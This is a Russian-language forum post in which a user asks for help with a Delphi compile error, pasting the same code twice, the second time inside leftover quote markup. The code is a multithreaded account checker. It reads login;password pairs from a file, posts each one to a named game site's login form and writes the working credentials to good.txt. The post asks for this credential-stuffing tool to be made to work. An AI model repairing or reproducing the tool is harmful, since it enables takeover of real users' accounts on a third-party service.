помогите пытаюсь скомпилировать и выдает ошибку в строке
      if pos ('ывфыа'p.Text)>0 then
весь код,
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  StdCtrls, ComCtrls, Gauges, SyncObjs;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    UpDown1: TUpDown;
    Button1: TButton;
    Label1: TLabel;
    Label2: TLabel;
    OpenDialog1: TOpenDialog;
    GoodLabel: TLabel;
    BadLabel: TLabel;
    IdHTTP1: TIdHTTP;
    Gauge1: TGauge;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 TNewThread = class(TThread)
  private
   FAcc : string;
   FPas : string;
   Rez : Integer;
  protected
    procedure Execute; override;
  public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
  end;
var
  Form1: TForm1;
  Accounts:Tstringlist;
  Thread, Acc:integer;
  Work:boolean;
  CS:TcriticalSection;
  GoodFile, BadFile: textfile;
implementation
{$R *.dfm}
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 OpenDialog1.InitialDir:=ExtractFilePath(Applicatio  n.ExeName);
 if OpenDialog1.Execute then
  begin
   Accounts.Clear;
   Accounts.LoadFromFile(OpenDialog1.FileName);
  end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
 Rewrite(GoodFile);
 Closefile(GoodFile);
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
 Rewrite(BadFile);
 Closefile(BadFile);
 GoodLabel.Caption:='0';
 BadLabel.Caption:='0';
 Gauge1.MaxValue:=Accounts.Count;
 Gauge1.Progress:=0;
 Acc:=-1;
 Work:=true;
 for Thread:=1  to strtoint(Edit1.Text) do
  TNewThread.Create(false);
 Thread:=strtoint(Edit1.Text);
end;
procedure TNewThread.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;
   if Work then
    begin
     FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
     data:=Tstringlist.create;
     data.Add('userid='+FAcc);
     data.Add('userpass='+FPas);
     data.Add('submit=Войти');
     HTTP:=TIdHTTP.create(nil);
     HTTP.HandleRedirects:=false;
     try
      HTTP.Post('http://rivendell2.ru/index.php?s=login', data);
      Rez:=-1;
     except
      if pos ('ывфыа'p.Text)>0 then
       Rez:=1
      else
       Rez:=0;
     end;
     HTTP.Free;
     data.Free;
     Synchronize(Sync);
    end;
  end;
 dec(Thread);
 if Thread=0 then ShowMessage('OK');
end;
procedure TNewThread.Sync;
begin
 case Rez of
   0:begin
      Accounts.Add(FAcc+';'+FPas);
     end;
   1:begin
      Append(GoodFile);
      Writeln(GoodFile,FAcc+';'+FPas);
      Closefile(GoodFile);
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.G  oodLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
  -1:begin
      Append(BadFile);
      Writeln(BadFile,FAcc+';'+FPas);
      Closefile(BadFile);
      Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.Ba  dLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
 end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Accounts.Free;
 CS.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=Tstringlist.create;
 CS:=TcriticalSection.create;
end;
end.
помогите , пожалуйста..
Добавлено через 2 минуты
  
        
        
          
                
                
                  
                        
                          | 
                        
                        Цитата: | 
                        
                          | 
                   
                 
                 | 
                
                 | 
                
                
                
                  
                        
                          | 
                        
                        
                        Сообщение от sergey211194  | 
                        
                          | 
                   
                 
                 | 
                
                
                
                 | 
           
         
        
          
                | 
                 | 
                 | 
                
                 | 
           
          
                | 
                 | 
                
                помогите пытаюсь скомпилировать и выдает ошибку в строке 
      if pos ('ывфыа'p.Text)>0 then 
весь код, 
unit Unit1; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, 
  StdCtrls, ComCtrls, Gauges, SyncObjs; 
 
type 
  TForm1 = class(TForm) 
    Edit1: TEdit; 
    UpDown1: TUpDown; 
    Button1: TButton; 
    Label1: TLabel; 
    Label2: TLabel; 
    OpenDialog1: TOpenDialog; 
    GoodLabel: TLabel; 
    BadLabel: TLabel; 
    IdHTTP1: TIdHTTP; 
    Gauge1: TGauge; 
    Button2: TButton; 
    procedure Button1Click(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
    procedure FormClose(Sender: TObject; var Action: TCloseAction); 
    procedure Button2Click(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 
 
 TNewThread = class(TThread) 
  private 
   FAcc : string; 
   FPas : string; 
   Rez : Integer; 
  protected 
    procedure Execute; override; 
  public 
    procedure Sync; 
    constructor Create(CreateSuspended: Boolean); 
  end; 
 
var 
  Form1: TForm1; 
  Accounts:Tstringlist; 
  Thread, Acc:integer; 
  Work:boolean; 
  CS:TcriticalSection; 
  GoodFile, BadFile: textfile; 
 
implementation 
 
{$R *.dfm} 
 
constructor TNewThread.Create(CreateSuspended: Boolean); 
begin 
  inherited Create(CreateSuspended); 
end; 
 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
 OpenDialog1.InitialDir:=ExtractFilePath(Applicatio  n.ExeName); 
 if OpenDialog1.Execute then 
  begin 
   Accounts.Clear; 
   Accounts.LoadFromFile(OpenDialog1.FileName); 
  end; 
end; 
 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt'); 
 Rewrite(GoodFile); 
 Closefile(GoodFile); 
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt'); 
 Rewrite(BadFile); 
 Closefile(BadFile); 
 GoodLabel.Caption:='0'; 
 BadLabel.Caption:='0'; 
 Gauge1.MaxValue:=Accounts.Count; 
 Gauge1.Progress:=0; 
 Acc:=-1; 
 Work:=true; 
 for Thread:=1  to strtoint(Edit1.Text) do 
  TNewThread.Create(false); 
 Thread:=strtoint(Edit1.Text); 
end; 
 
procedure TNewThread.Execute; 
var CurAcc:integer; 
    data:Tstringlist; 
    HTTP: TIdHTTP; 
begin 
 while Work do 
  begin 
   CS.Enter; 
   Inc(Acc); 
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false; 
   CS.Leave; 
 
   if Work then 
    begin 
     FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); 
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); 
 
     data:=Tstringlist.create; 
     data.Add('userid='+FAcc); 
     data.Add('userpass='+FPas); 
     data.Add('submit=Войти'); 
     HTTP:=TIdHTTP.create(nil); 
     HTTP.HandleRedirects:=false; 
     try 
      HTTP.Post('http://rivendell2.ru/index.php?s=login', data); 
      Rez:=-1; 
     except 
      if pos ('ывфыа'p.Text)>0 then 
       Rez:=1 
      else 
       Rez:=0; 
     end; 
     HTTP.Free; 
     data.Free; 
 
     Synchronize(Sync); 
    end; 
  end; 
 
 dec(Thread); 
 if Thread=0 then ShowMessage('OK'); 
end; 
 
procedure TNewThread.Sync; 
begin 
 case Rez of 
   0:begin 
      Accounts.Add(FAcc+';'+FPas); 
     end; 
   1:begin 
      Append(GoodFile); 
      Writeln(GoodFile,FAcc+';'+FPas); 
      Closefile(GoodFile); 
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.G  oodLabel.Caption)+1); 
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1; 
     end; 
  -1:begin 
      Append(BadFile); 
      Writeln(BadFile,FAcc+';'+FPas); 
      Closefile(BadFile); 
      Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.Ba  dLabel.Caption)+1); 
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1; 
     end; 
 end; 
end; 
 
 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
 Accounts.Free; 
 CS.Free; 
end; 
 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
 Accounts:=Tstringlist.create; 
 CS:=TcriticalSection.create; 
end; 
 
end. 
помогите , пожалуйста..
                 | 
                
                 | 
           
          
                
                  | 
                
                 | 
                
                  | 
           
         
         | 
  
P.S. набор буква просто введен , так я там другое слово ввожу , которое на сайте появляется при входе на аккаунт